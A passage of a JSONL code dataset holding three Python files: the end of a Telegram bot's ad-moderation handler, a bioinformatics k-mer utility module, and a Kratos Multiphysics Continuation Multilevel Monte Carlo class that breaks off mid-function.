val = (dct.get(\"st\"), dct.get(\"pid\"))\n bot.queue_status.put({\"query\": query, \"val\": val, \"uid\": dct.get(\"uid\")})\n\n\ndef get_status(message, bot):\n _id = bot.get_id(message)\n try:\n post_id = int(message.text[1:])\n bot.cur.execute(\"SELECT * FROM Posts WHERE Post_id='{0}'\".format(post_id))\n post = bot.cur.fetchone()\n if post != None:\n if _id in config.admins_id:\n input_array = [\n {\"text\": \"Подтвердить\", \"query\": \"pid=\" + str(post[\"post_id\"]) + \\\n \",st=con,uid=\" + str(post[\"user_id\"])},\n {\"text\": \"Отклонить\", \"query\": \"pid=\" + str(post[\"post_id\"]) + \\\n \",st=can,uid=\" + str(post[\"user_id\"])}\n ]\n keyboard = bot.get_keyboard(input_array=input_array, grid=2)\n text = \"Название : \" + post[\"name\"] + \\\n \"\\nТип : \" + config.types[str(post[\"type\"])] + \\\n \"\\nЦена : \" + str(post[\"price\"]) + \\\n \"\\nСсылка : \" + post[\"link\"] + \\\n \"\\npost_id : \" + str(post[\"post_id\"]) + \\\n \"\\nuser_id : \" + str(post[\"user_id\"]) + \\\n \"\\nstatus : \" + post[\"status\"]\n config.telebot.TeleBot.send_message(bot, chat_id=_id,\n text=text,\n reply_markup=keyboard, parse_mode=\"HTML\")\n if _id == post[\"user_id\"]:\n if post[\"status\"] == \"mod\":\n text = \"Объявление '\" + post['name'] + \"' с id /\" + str(post[\"post_id\"]) + \" стоит в очереди на модерацию.\"\n elif post[\"status\"] == \"con\":\n text = \"Объявление '\" + post['name'] + \"' с id /\" + str(post[\"post_id\"]) + \" было подтвержденo\"\n elif post[\"status\"] == \"can\":\n text = \"Объявление '\" + post['name'] + \"' с id /\" + str(post[\"post_id\"]) + \" было отклонено\"\n else:\n text = \"У вас нет доступа к этому объявлению\"\n bot.send_message(message=message, text=text)\n else:\n text = \"Данного объявление не существует\"\n bot.send_message(message=message, text=text)\n except Exception as e:\n from pprint import pprint\n pprint(e)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"new_post.py","file_name":"new_post.py","file_ext":"py","file_size_in_byte":6944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"437355527","text":"def count(text, pattern):\n t_sz = len(text)\n p_sz = len(pattern)\n count = [1 for x in range(t_sz - p_sz + 1) if text[i:i + p_sz] == pattern]\n return len(count)\n\ndef most_freq_words(text, k):\n word_freq = {}\n t_sz = len(text)\n\n # Go with a sliding window only once through the text\n for i in range(0, t_sz - k + 1):\n if text[i:i+k] in word_freq:\n word_freq[text[i:i+k]] += 1 \n else:\n word_freq[text[i:i+k]] = 1\n\n max_val = max(word_freq.values())\n most_freq = [k for k, v in word_freq.items() if v == max_val]\n return most_freq\n\ndef freq_dict(text, k):\n word_freq = {}\n t_sz = len(text)\n\n # Go with a sliding window only once through the text\n for i in range(0, t_sz - k + 1):\n if text[i:i+k] in word_freq:\n word_freq[text[i:i+k]] += 1 \n else:\n word_freq[text[i:i+k]] = 1\n\n return word_freq\n\ndef reverse_complement(text):\n text = text[::-1]\n text = text.replace('A', 't')\n text = text.replace('T', 'a')\n text = text.replace('C', 'g')\n text = text.replace('G', 'c')\n return text.upper()\n\ndef pattern_matching(pattern, genome):\n g_sz = len(genome)\n p_sz = len(pattern)\n return [ i for i in range(g_sz - p_sz + 1) if genome[i:i+p_sz] == pattern]\n \ndef clump_finding(genome, k, t, l):\n g_sz = len(genome)\n\n word_freq = freq_dict(genome[0:l], k)\n clumpped_words = [k for k, v in word_freq.items() if v >= t]\n \n for i in range(1, g_sz - l + 1):\n prev = genome[i-1:i+k-1]\n next = genome[i+l-k:i+l]\n # take out first k-mer in the previous window\n word_freq[prev] -= 1\n\n # add last k-mer of the current window\n if next in word_freq:\n word_freq[next] += 1\n else:\n word_freq[next] = 1\n\n if word_freq[next] >= t:\n clumpped_words.append(next)\n\n return set(clumpped_words)\n\n \nif __name__ == '__main__':\n genome = 'AAAACGTCGAAAAA'\n k = 2\n l = 4 \n t = 2\n print(clump_finding(genome, k, t, l))\n \n \n \n \n","sub_path":"week1/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"549199010","text":"from __future__ import absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7\n\n# Importing the Kratos Library\nimport KratosMultiphysics\n\n# Import packages\nimport numpy as np\nimport copy\n\n# Import the StatisticalVariable class\nfrom test_auxiliary_classes_utilities import StatisticalVariable\n\n\n'''\nThis utility contains the functions to perform the Continuation Multilevel Monte Carlo (CMLMC) algorithm\n\nReferences:\nM. Pisaroni, F. Nobile, P. Leyland; A Continuation Multi Level Monte Carlo (C-MLMC) method for uncertainty quantification in compressible inviscid aerodynamics; Computer Methods in Applied Mechanics and Engineering, vol 326, pp 20-50, 2017. DOI : 10.1016/j.cma.2017.07.030.\nM. Pisaroni, S. Krumscheid, F. Nobile; Quantifying uncertain system outputs via the multilevel Monte Carlo method - Part I: Central moment estimation ; available as MATHICSE technical report no. 23.2017\n'''\n\n\n'''\nTODO: create a class for the values ValueClass in order to directly modify the values inside functions\ne.g. mean = [1,2,4,5] ---> mean = [Value, Value, Value, Value]\n to modify this inside a task I need it to be an object\nTODO: insert distinction between scalar and field Quantity of Interests\n'''\n\n\n'''\nauxiliary function of AddResults of the MultilevelMonteCarlo class\n'''\ndef AddResultsAux_Task(simulation_results,level):\n if (level == 0):\n difference_QoI_value = simulation_results.QoI[level]\n else:\n difference_QoI_value = simulation_results.QoI[level] - simulation_results.QoI[level - 1]\n return difference_QoI_value,simulation_results.time_ML[level]\n\n\n'''\nauxiliary function finalizing the screening phase and the MLMC phase of the MultilevelMonteCarlo class\n'''\ndef FinalizePhase_Task(ConstructorCallback,aux_settings_serialized,aux_mesh_parameters,\\\naux_current_number_levels,aux_current_iteration,aux_number_samples,*args):\n '''retrieve lists'''\n args = list(args)\n first_occ = args.index(\"%%%\")\n difference_QoI_mean = args[:first_occ]\n second_occ = args[first_occ + 1:].index(\"%%%\")\n difference_QoI_sample_variance = args[first_occ + 1:first_occ + 1 + second_occ]\n time_ML_mean = args[first_occ + 1 + second_occ + 1:]\n '''load settings (Kratos Parameters object) from SteramSerializer Kratos object'''\n aux_settings = KratosMultiphysics.Parameters()\n aux_settings_serialized.Load(\"ParametersSerialization\",aux_settings)\n '''create an auxiliary object auxiliary_MLMC_object equivalent to the current one of the problem\n construct the class with the aux_settings settings passed from outside'''\n auxiliary_MLMC_object = ConstructorCallback(aux_settings)\n auxiliary_MLMC_object.difference_QoI.mean = difference_QoI_mean\n auxiliary_MLMC_object.difference_QoI.sample_variance = difference_QoI_sample_variance\n auxiliary_MLMC_object.time_ML.mean = time_ML_mean\n auxiliary_MLMC_object.mesh_parameters = aux_mesh_parameters\n auxiliary_MLMC_object.current_number_levels = aux_current_number_levels\n auxiliary_MLMC_object.current_iteration = aux_current_iteration\n auxiliary_MLMC_object.number_samples = aux_number_samples\n '''compute the functions needed to finalize the screening phase or the MLMC phase'''\n if (auxiliary_MLMC_object.current_iteration == 0): # screening phase\n '''compute parameters by least square fit'''\n auxiliary_MLMC_object.ComputeRatesLS()\n '''compute Bayesian variance V^c[Y_l]'''\n auxiliary_MLMC_object.EstimateBayesianVariance(auxiliary_MLMC_object.current_number_levels)\n else: # MLMC phase\n '''compute estimator MLMC mean QoI'''\n auxiliary_MLMC_object.ComputeMeanMLMCQoI()\n '''compute parameters by least square fit'''\n auxiliary_MLMC_object.ComputeRatesLS()\n '''compute Bayesian variance V^c[Y_l]'''\n auxiliary_MLMC_object.EstimateBayesianVariance(auxiliary_MLMC_object.current_number_levels)\n '''compute total error of MLMC simulation'''\n auxiliary_MLMC_object.ComputeTotalErrorMLMC()\n return auxiliary_MLMC_object.rates_error,\\\n auxiliary_MLMC_object.BayesianVariance,auxiliary_MLMC_object.mean_mlmc_QoI,\\\n auxiliary_MLMC_object.TErr,auxiliary_MLMC_object.number_samples\n\n\nclass MultilevelMonteCarlo(object):\n '''The base class for the MultilevelMonteCarlo-classes'''\n def __init__(self,custom_settings):\n '''constructor of the MultilevelMonteCarlo-Object\n Keyword arguments:\n self : an instance of a class\n settings : the settings of the Multilevel Monte Carlo simulation\n '''\n\n '''\n Kratos Parameters object containing the default setings of the Continuation MLMC simulation\n tol0 : Tolerance iter 0\n tolF : Tolerance final\n cphi : Confidence on tolerance\n number_samples_screening : Number of samples for iter 0\n L0 : Number of levels for iter 0\n Lmax : Maximum number of levels\n mesh_refinement_coefficient : coefficient of mesh refinement\n initial_mesh_size : size of first mesh considered\n minimum_add_level : minimum number of samples to add if at least one is going to be added\n k0 : Certainty Parameter 0 rates (confidence in the variance models)\n k1 : Certainty Parameter 1 rates (confidence in the weak convergence model)\n r1 : Cost increase first iterations C-MLMC\n r2 : Cost increase final iterations C-MLMC\n '''\n default_settings = KratosMultiphysics.Parameters(\"\"\"\n {\n \"k0\" : 0.1,\n \"k1\" : 0.1,\n \"r1\" : 1.25,\n \"r2\" : 1.15,\n \"tol0\" : 0.25,\n \"tolF\" : 0.1,\n \"cphi\" : 1.0,\n \"number_samples_screening\" : 25,\n \"Lscreening\" : 2,\n \"Lmax\" : 4,\n \"mesh_refinement_coefficient\" : 2,\n \"initial_mesh_size\" : 0.5,\n \"minimum_add_level\" : 6.0,\n \"splitting_parameter_max\" : 0.9,\n \"splitting_parameter_min\" : 0.1\n }\n \"\"\")\n self.settings = custom_settings\n '''warning if initial_mesh_size parameter not set by the user'''\n if not (self.settings.Has(\"initial_mesh_size\")):\n print(\"\\n ######## WARNING : initial_mesh_size parameter not set ---> using defalut value 0.5 ########\\n\")\n '''validate and assign default parameters'''\n self.settings.ValidateAndAssignDefaults(default_settings)\n '''current_number_levels : number of levels of current iteration'''\n self.current_number_levels = self.settings[\"Lscreening\"].GetInt()\n '''previous_number_levels : number of levels of previous iteration'''\n self.previous_number_levels = None\n '''number_samples : total number of samples of current iteration'''\n self.number_samples = [self.settings[\"number_samples_screening\"].GetInt() for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n '''difference_number_samples : difference between number of samples of current and previous iterations'''\n self.difference_number_samples = None\n '''previous_number_samples : total number of samples of previous iteration'''\n self.previous_number_samples = None\n '''rates_error : dictionary containing the values of the parameters\n calpha : coefficient of the function maximizing bias\n alpha : exponent of the function maximizing bias\n cbeta : coefficient of the function maximizing statistical error\n beta : exponent of the function maximizing statistical error\n cgamma : coefficient of the function maximizing cost\n gamma : exponent of the function maximizing cost\n '''\n self.rates_error = {\"calpha\":None, \"alpha\":None, \"cbeta\":None, \"beta\":None, \"cgamma\":None, \"gamma\":None}\n '''mesh_parameters : reciprocal of minimal mesh size'''\n self.mesh_parameters = []\n '''size_mesh : minimal mesh size'''\n self.sizes_mesh = []\n '''BayesianVariance : Bayesian variance'''\n self.BayesianVariance = []\n '''number_iterations : theoretical number of iterations the MLMC algorithm will perform'''\n self.number_iterations_iE = None\n '''convergence : boolean variable defining if MLMC algorithm is converged'''\n self.convergence = False\n '''current_iteration : current iteration of MLMC algorithm'''\n self.current_iteration = 0\n '''tolerance_i : tolerance of i^th-iteration of MLMC algorithm'''\n self.tolerance_i = None\n '''theta_i : splitting parameter \\in (0,1), this affects bias and statistical error in the computation of the total error'''\n self.theta_i = None\n '''mean_mlmc_QoI : MLMC estimator for the mean value of the Quantity of Interest'''\n self.mean_mlmc_QoI = None\n '''TErr : total error of MLMC algorithm, the sum of bias and statistical error is an overestmation of the real total error\n TErr := \\abs(E^MLMC[QoI] - E[QoI])'''\n self.TErr = None\n '''compute mesh parameter for each mesh'''\n self.ComputeMeshParameters()\n\n '''difference_QoI : Quantity of Interest of the considered problem organized per levels\n difference_QoI.values := Y_l = QoI_M_l - Q_M_l-1'''\n self.difference_QoI = StatisticalVariable(self.current_number_levels)\n self.difference_QoI.values = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)] # list containing Y_{l}^{i} = Q_{m_l} - Q_{m_{l-1}}\n self.difference_QoI.type = \"scalar\"\n '''time_ML : time to perform a single MLMC simulation (i.e. one value of difference_QoI.values) organized per levels'''\n self.time_ML = StatisticalVariable(self.current_number_levels)\n self.time_ML.values = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)] # list containing the time to compute the level=l simulations\n\n '''########################################################################\n # observation: levels start from level 0 #\n # length arrays and lists starts from 1 #\n # thus there is a difference of 1 between length lists and levels #\n # e.g. self.current_level = len(self.number_samples) - 1 #\n # or #\n # self.current_level = len(self.difference_QoI.values) - 1 #\n ########################################################################'''\n\n '''\n function finalizing the screening phase of MLMC algorithm\n Usage: It is designed to be called ONCE, AFTER the screening phase\n '''\n def FinalizeScreeningPhase(self):\n '''prepare lists'''\n self.difference_QoI.mean = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n self.difference_QoI.sample_variance = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n self.difference_QoI.second_moment = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n self.time_ML.mean = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n self.time_ML.sample_variance = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n self.time_ML.second_moment = [[] for _ in range (self.settings[\"Lscreening\"].GetInt()+1)]\n '''compute mean, sample variance and second moment for difference QoI and time ML'''\n for level in range (self.current_number_levels+1):\n for i_sample in range(self.number_samples[level]):\n self.difference_QoI.UpdateOnepassMeanVariance(level,i_sample)\n self.time_ML.UpdateOnepassMeanVariance(level,i_sample)\n '''compute i_E, number of iterations of Multilevel Monte Carlo algorithm'''\n self.ComputeNumberIterationsMLMC()\n '''the following lines represent the functions we execute in FinalizePhase_Task\n self.ComputeRatesLS()\n self.EstimateBayesianVariance(self.current_number_levels)'''\n '''store lists in synchro_element to execute FinalizePhase_Task'''\n synchro_elements = [x for x in self.difference_QoI.mean]\n synchro_elements.extend([\"%%%\"])\n synchro_elements.extend(self.difference_QoI.sample_variance)\n synchro_elements.extend([\"%%%\"])\n synchro_elements.extend(self.time_ML.mean)\n '''create a StreamSerializer Kratos object containing the problem settings'''\n serial_settings = KratosMultiphysics.StreamSerializer()\n serial_settings.Save(\"ParametersSerialization\", self.settings)\n '''compute remaining MLMC finalize process operations\n observation: we are passing self.settings and we will exploit it to construct the class'''\n self.rates_error,self.BayesianVariance,self.mean_mlmc_QoI,\\\n self.TErr,self.number_samples\\\n = FinalizePhase_Task(MultilevelMonteCarlo,\n serial_settings,self.mesh_parameters,self.current_number_levels,\\\n self.current_iteration,self.number_samples,*synchro_elements)\n '''start first iteration, we enter in the MLMC algorithm'''\n self.current_iteration = 1\n\n '''\n function performing all the required operations that should be executed\n (for each MLMC iteration) BEFORE the MLMC solution step\n '''\n def InitializeMLMCPhase(self):\n '''compute tolerance for the i^th iteration'''\n self.ComputeTolerancei()\n '''Compute Optimal Number of Levels for iteration i L_i'''\n self.ComputeLevels()\n '''compute theta splitting parameter according to the current_number_levels and tolerance_i'''\n self.ComputeTheta(self.current_number_levels)\n '''compute number of samples according to BayesianVariance and theta_i parameters'''\n self.ComputeNumberSamples()\n '''prepare lists'''\n for _ in range (self.current_number_levels - self.previous_number_levels): # append a list for the new level\n self.difference_QoI.values.append([])\n self.time_ML.values.append([])\n\n '''function performing all the required operations that should be executed\n (for each MLMC iteration) AFTER the MLMC solution step'''\n def FinalizeMLMCPhase(self):\n '''prepare lists'''\n for _ in range (self.current_number_levels - self.previous_number_levels): # append a list for the new level\n self.difference_QoI.mean.append([])\n self.difference_QoI.sample_variance.append([])\n self.difference_QoI.second_moment.append([])\n self.difference_QoI.number_samples.append(0)\n self.time_ML.mean.append([])\n self.time_ML.sample_variance.append([])\n self.time_ML.second_moment.append([])\n self.time_ML.number_samples.append(0)\n '''compute mean, sample variance and second moment for difference QoI and time ML'''\n for level in range (self.current_number_levels+1):\n for i_sample in range(self.previous_number_samples[level],self.number_samples[level]):\n self.difference_QoI.UpdateOnepassMeanVariance(level,i_sample)\n self.time_ML.UpdateOnepassMeanVariance(level,i_sample)\n '''update number of levels'''\n self.previous_number_levels = self.current_number_levels\n '''the following commented lines represent the functions we execute in FinalizePhase_Task\n self.ComputeMeanMLMCQoI()\n self.ComputeRatesLS()\n self.EstimateBayesianVariance(self.current_number_levels)\n self.ComputeTotalErrorMLMC()'''\n '''store lists in synchro_element to execute FinalizePhase_Task'''\n synchro_elements = [x for x in self.difference_QoI.mean]\n synchro_elements.extend([\"%%%\"])\n synchro_elements.extend(self.difference_QoI.sample_variance)\n synchro_elements.extend([\"%%%\"])\n synchro_elements.extend(self.time_ML.mean)\n '''create a StreamSerializer Kratos object containing the problem settings'''\n serial_settings = KratosMultiphysics.StreamSerializer()\n serial_settings.Save(\"ParametersSerialization\", self.settings)\n '''compute remaining MLMC finalize process operations\n observation: we are passing self.settings and we will exploit it to construct the class'''\n self.rates_error,self.BayesianVariance,self.mean_mlmc_QoI,\\\n self.TErr,self.number_samples\\\n = FinalizePhase_Task(MultilevelMonteCarlo,\n serial_settings,self.mesh_parameters,self.current_number_levels,\\\n self.current_iteration,self.number_samples,*synchro_elements)\n\n '''check convergence\n convergence reached if: i) current_iteration >= number_iterations_iE\n ii) TErr < tolerance_i\n if not update current_iteration'''\n if (self.current_iteration >= self.number_iterations_iE) and (self.TErr < self.tolerance_i):\n self.convergence = True\n else:\n self.current_iteration = self.current_iteration + 1\n\n '''\n function printing informations about screening phase\n '''\n def ScreeningInfoScreeningPhase(self):\n print(\"\\n\",\"#\"*50,\" SCREENING PHASE \",\"#\"*50,\"\\n\")\n # print(\"values computed of QoI = \",self.difference_QoI.values)\n # print(\"values computed time_ML\",self.time_ML.values)\n print(\"mean and variance difference_QoI = \",self.difference_QoI.mean,self.difference_QoI.sample_variance)\n print(\"mean time_ML\",self.time_ML.mean)\n print(\"rates coefficient = \",self.rates_error)\n print(\"estimated Bayesian variance = \",self.BayesianVariance)\n print(\"minimum number of MLMC iterations = \",self.number_iterations_iE)\n\n '''\n function printing informations about initializing MLMC phase\n '''\n def ScreeningInfoInitializeMLMCPhase(self):\n print(\"\\n\",\"#\"*50,\" MLMC iter = \",self.current_iteration,\"#\"*50,\"\\n\")\n print(\"current tolerance = \",self.tolerance_i)\n print(\"updated estimated Bayesian Variance initialize phase = \",self.BayesianVariance)\n print(\"current number of levels = \",self.current_number_levels)\n print(\"previous number of levels = \",self.previous_number_levels)\n print(\"current splitting parameter = \",self.theta_i)\n print(\"difference number of samples = \",self.difference_number_samples)\n print(\"previous number of samples = \",self.previous_number_samples)\n\n '''\n function printing informations about finalizing MLMC phase\n '''\n def ScreeningInfoFinalizeMLMCPhase(self):\n # print(\"values computed of QoI = \",self.difference_QoI.values)\n # print(\"values computed time_ML\",self.time_ML.values)\n print(\"current number of samples\",self.number_samples)\n print(\"mean and variance difference_QoI = \",self.difference_QoI.mean,self.difference_QoI.sample_variance)\n print(\"mean time_ML\",self.time_ML.mean)\n print(\"rates coefficient = \",self.rates_error)\n print(\"estimated Bayesian variance = \",self.BayesianVariance)\n print(\"multilevel monte carlo mean estimator = \",self.mean_mlmc_QoI)\n print(\"TErr = bias + statistical error = \",self.TErr)\n\n '''\n function adding QoI and MLMC time values to the corresponding level\n '''\n def AddResults(self,simulation_results):\n '''simulation_results = [MultilevelMonteCarloResults class, level (integer type, not compss.future)]'''\n simulation_results_class = simulation_results[0]\n level = simulation_results[1]\n for lev in range (level+1):\n difference_QoI_value, time_ML_value = AddResultsAux_Task(simulation_results_class,lev)\n '''update values of difference QoI and time ML per each level'''\n self.difference_QoI.values[lev] = np.append(self.difference_QoI.values[lev], difference_QoI_value)\n self.time_ML.values[lev] = np.append(self.time_ML.values[lev],time_ML_value)\n '''update number of samples'''\n if (lev != level):\n self.number_samples[lev] = self.number_samples[lev] + 1\n\n '''\n function giving as output the mesh discretization parameter\n the mesh parameter is the reciprocal of the minimum mesh size of the grid\n h_lev=h_0*M^(-lev)\n '''\n def ComputeMeshParameters(self):\n h0 = self.settings[\"initial_mesh_size\"].GetDouble()\n M = self.settings[\"mesh_refinement_coefficient\"].GetInt()\n for level in range(self.settings[\"Lmax\"].GetInt()+1):\n h_current_level = h0 * M**(-level)\n mesh_parameter_current_level = h_current_level**(-1)\n self.sizes_mesh.append(h_current_level)\n self.mesh_parameters.append(mesh_parameter_current_level)\n\n '''\n function computing the problem parameters P=[calpha,alpha,cbeta,beta,cgamma,gamma] using least squares fit\n we consider level > 0 to compute calpha,alpha,cbeta,beta for robustness reasons [see PNL17 for details]\n '''\n def ComputeRatesLS(self):\n bias_ratesLS = np.abs(self.difference_QoI.mean)\n variance_ratesLS = self.difference_QoI.sample_variance\n cost_ML_ratesLS = self.time_ML.mean\n mesh_param_ratesLS = self.mesh_parameters[0:self.current_number_levels+1]\n '''mean - alpha\n linear fit'''\n pa = np.polyfit(np.log2(mesh_param_ratesLS[1::]),np.log2(bias_ratesLS[1::]),1)\n alpha = -pa[0]\n C1 = 2**pa[1]\n '''variance - beta\n linear fit'''\n pb = np.polyfit(np.log2(mesh_param_ratesLS[1::]),np.log2(variance_ratesLS[1::]),1)\n beta = -pb[0]\n C2 = 2**pb[1]\n '''cost of computation - gamma\n linear fit'''\n pg = np.polyfit(np.log2(mesh_param_ratesLS),np.log2(cost_ML_ratesLS),1)\n gamma = pg[0]\n C3 = 2**pg[1]\n '''update the rates error dictionary'''\n self.rates_error[\"calpha\"] = C1\n self.rates_error[\"alpha\"] = alpha\n self.rates_error[\"cbeta\"] = C2\n self.rates_error[\"beta\"] = beta\n self.rates_error[\"cgamma\"] = C3\n self.rates_error[\"gamma\"] = gamma\n del(bias_ratesLS,variance_ratesLS,cost_ML_ratesLS,mesh_param_ratesLS,C1,C2,C3,alpha,beta,gamma)\n\n '''\n function performing the Bayesian update of the variance\n using samples generated on all levels in order to locally improve the estimation of variance[difference_QoI]\n '''\n def EstimateBayesianVariance(self,levels): # need to keep levels because in ComputeLevels I use the maximum number of levels\n '''use local variables'''\n k0 = self.settings[\"k0\"].GetDouble()\n k1 = self.settings[\"k1\"].GetDouble()\n calfa = self.rates_error[\"calpha\"]\n alfa = self.rates_error[\"alpha\"]\n cbeta = self.rates_error[\"cbeta\"]\n beta = self.rates_error[\"beta\"]\n mesh_param = self.mesh_parameters\n '''use local variables, in order to not modify the global variables'''\n mean_local = copy.copy(self.difference_QoI.mean)\n variance_local = copy.copy(self.difference_QoI.sample_variance)\n nsam_local = copy.copy(self.number_samples)\n '''append null values to evaluate the Bayesian variance for all levels'''\n if len(mean_local) < (levels+1):\n for _ in range (0,(levels+1)-len(mean_local)):\n mean_local.append(0.0)\n if len(variance_local) < (levels+1):\n for _ in range (0,(levels+1)-len(variance_local)):\n variance_local.append(0.0)\n if len(nsam_local) < (levels+1):\n for _ in range ((levels+1)-len(nsam_local)):\n nsam_local.append(0)\n '''estimate the Bayesian variance'''\n BayesianVariance = []\n for level in range (0, (levels+1)):\n mu = calfa*mesh_param[level]**(-alfa)\n lam = (1/cbeta)*mesh_param[level]**(beta)\n G1_l = 0.5 + np.multiply(k1,lam) + np.divide(nsam_local[level],2.0)\n G2_l = k1 + (nsam_local[level]-1)*0.5*variance_local[level] + k0*nsam_local[level]*((mean_local[level]-mu)**2)/(2.0*(k0+nsam_local[level]))\n BayesianVariance.append(np.divide(G2_l,G1_l-0.5))\n self.BayesianVariance = BayesianVariance\n del(BayesianVariance)\n\n '''\n function computing the minimum number of iterations of MLMC algorithm\n iteration < number_iterations_iE : iterations needed to obtain increasingly accurate estimates of the\n problem dependent parameters P=[calpha,alpha,cbeta,beta,cgamma,gamma]\n iteration > number_iterations_iE : iterations preventing redundant computations due to fluctuations\n in the estimate of P=[calpha,alpha,cbeta,beta,cgamma,gamma]\n by solving the problem for a slightly smaller tolerance than the desired one\n '''\n def ComputeNumberIterationsMLMC(self):\n tolF = self.settings[\"tolF\"].GetDouble()\n tol0 = self.settings[\"tol0\"].GetDouble()\n r2 = self.settings[\"r2\"].GetDouble()\n r1 = self.settings[\"r1\"].GetDouble()\n self.number_iterations_iE = np.floor((-np.log(tolF)+np.log(r2)+np.log(tol0))/(np.log(r1)))\n\n '''\n function computing the tolerance for the i^th iteration\n '''\n def ComputeTolerancei(self):\n tolF = self.settings[\"tolF\"].GetDouble()\n r2 = self.settings[\"r2\"].GetDouble()\n r1 = self.settings[\"r1\"].GetDouble()\n iE = self.number_iterations_iE\n iter_def = self.current_iteration\n if iter_def < iE:\n tol = (r1**(iE-iter_def) * r2**(-1))*tolF\n elif iter_def > iE:\n tol = (r2**(iE-iter_def) * r2**(-1))*tolF\n else:\n tol = tolF\n self.tolerance_i = tol\n\n '''\n function computing the number of levels for i^th iteration of the algorithm\n '''\n def ComputeLevels(self):\n tol = self.tolerance_i\n Wmin = 1e10 # high cost to compare with all the level costs (needs to be a high value)\n current_number_levels = self.current_number_levels\n cgamma = self.rates_error[\"cgamma\"]\n gamma = self.rates_error[\"gamma\"]\n calpha = self.rates_error[\"calpha\"]\n alpha = self.rates_error[\"alpha\"]\n cphi = self.settings[\"cphi\"].GetDouble()\n mesh_parameters_all_levels = self.mesh_parameters\n Lmax = self.settings[\"Lmax\"].GetInt()\n Lmin = self.current_number_levels\n '''prepare mesh_parameters_all_levels and BayesianVariance to have both length = Lmax + 1'''\n if len(self.BayesianVariance) < (Lmax+1):\n self.EstimateBayesianVariance(Lmax)\n BayesianVariance = self.BayesianVariance\n model_cost = np.multiply(cgamma,np.power(mesh_parameters_all_levels,gamma)) # model_cost has length = Lmax + 1\n '''observation: not mandatory to increase the number of levels, we may continue using the number of levels of the previous MLMC iteration'''\n for lev in range(Lmin, Lmax+1):\n # theta_i = 1.0 - (calpha * (mesh_parameters_all_levels[lev])**(-alpha))/tol # use the ComputeTheta function to evaluate theta for level lev\n self.ComputeTheta(lev) # this function bounds theta with a maximum and a minimum value that we set in settings\n theta_i = self.theta_i\n if (theta_i > 0.0) and (theta_i < 1.0):\n coeff2 = np.sum(np.sqrt(np.multiply(model_cost[0:lev+1],BayesianVariance[0:lev+1])))\n coeff2 = coeff2**2.0\n coeff1 = (cphi/(theta_i*tol))**2.0 # formula in case QoI is scalar\n else:\n raise Exception (\"The splitting parameter theta_i assumed a value outside the range (0,1) : \",self.theta_i)\n Wtot = coeff1 * coeff2\n # print(\"print level and correspondent cost\",lev,Wtot)\n '''change number of levels if the cost condition is satisfied'''\n if Wtot < Wmin:\n Wmin = Wtot\n current_number_levels = lev\n '''add maximum one level per time'''\n if current_number_levels > Lmin:\n current_number_levels = Lmin + 1\n '''update length of Bayesian variance with respect to the current levels'''\n BayesianVariance = BayesianVariance[0:current_number_levels+1]\n '''update variables'''\n self.BayesianVariance = BayesianVariance\n self.current_number_levels = current_number_levels\n self.previous_number_levels = Lmin\n del(tol,Wmin,current_number_levels,cgamma,gamma,calpha,alpha,cphi,mesh_parameters_all_levels,Lmax,Lmin)\n\n '''\n function computing the splitting parameter theta \\in (0,1)\n '''\n def ComputeTheta(self,level):\n calpha = self.rates_error[\"calpha\"]\n alpha = self.rates_error[\"alpha\"]\n tol = self.tolerance_i\n mesh_param = self.mesh_parameters[level]\n self.theta_i = 1.0 - (calpha * (mesh_param)**(-alpha))/tol\n if (self.theta_i > self.settings[\"splitting_parameter_max\"].GetDouble()):\n self.theta_i = self.settings[\"splitting_parameter_max\"].GetDouble()\n elif (self.theta_i < self.settings[\"splitting_parameter_min\"].GetDouble()):\n self.theta_i = self.settings[\"splitting_parameter_min\"].GetDouble()\n del(calpha,alpha,tol,mesh_param)\n\n '''\n function computing the updated number of samples for each level for i^th iteration of CMLMC algorithm\n '''\n def ComputeNumberSamples(self):\n current_number_levels = self.current_number_levels\n BayesianVariance = self.BayesianVariance\n min_samples_add = np.multiply(np.ones(current_number_levels+1),self.settings[\"minimum_add_level\"].GetDouble())\n cgamma = self.rates_error[\"cgamma\"]\n gamma = self.rates_error[\"gamma\"]\n cphi = self.settings[\"cphi\"].GetDouble()\n mesh_parameters_current_levels = self.mesh_parameters[0:current_number_levels+1]\n theta = self.theta_i\n tol = self.tolerance_i\n nsam = self.number_samples\n '''compute optimal number of samples and store previous number of samples'''\n coeff1 = (cphi/(theta*tol))**2.0\n model_cost = np.multiply(cgamma,np.power(mesh_parameters_current_levels,gamma))\n coeff2 = np.sqrt(np.divide(BayesianVariance,model_cost))\n coeff3 = np.sum(np.sqrt(np.multiply(model_cost,BayesianVariance)))\n opt_number_samples = np.multiply(coeff1*coeff3,coeff2)\n # print(\"optimal number of samples computed = \",opt_number_samples)\n if (len(opt_number_samples) != current_number_levels+1):\n raise Exception (\"length optimal number of samples and current optimal number of level not coherent\")\n for lev in range (current_number_levels+1):\n opt_number_samples[lev] = np.ceil(opt_number_samples[lev])\n opt_number_samples[lev] = opt_number_samples[lev].astype(int)\n if len(nsam) < len(opt_number_samples):\n for _ in range (len(opt_number_samples)-len(nsam)):\n nsam.append(0)\n '''copy local string and avoid reference since we modify it'''\n previous_number_samples = nsam[:]\n '''evaluate difference between new and previous number of samples'''\n diff_nsam = []\n for lev in range(current_number_levels+1):\n diff_nsam.append(opt_number_samples[lev] - nsam[lev])\n '''set here that if the optimal number of samples is smaller than\n the previous number of samples, keep the previous number of samples,\n i.e. do not decrease the number of samples w.r.t. previous iteration'''\n if diff_nsam[lev] <= 0.:\n diff_nsam[lev] = 0.\n opt_number_samples[lev] = nsam[lev]\n '''set here to have an addition of minimum min_samples_add per level'''\n if (diff_nsam[lev] > 0.) and (diff_nsam[lev] < min_samples_add[lev]):\n 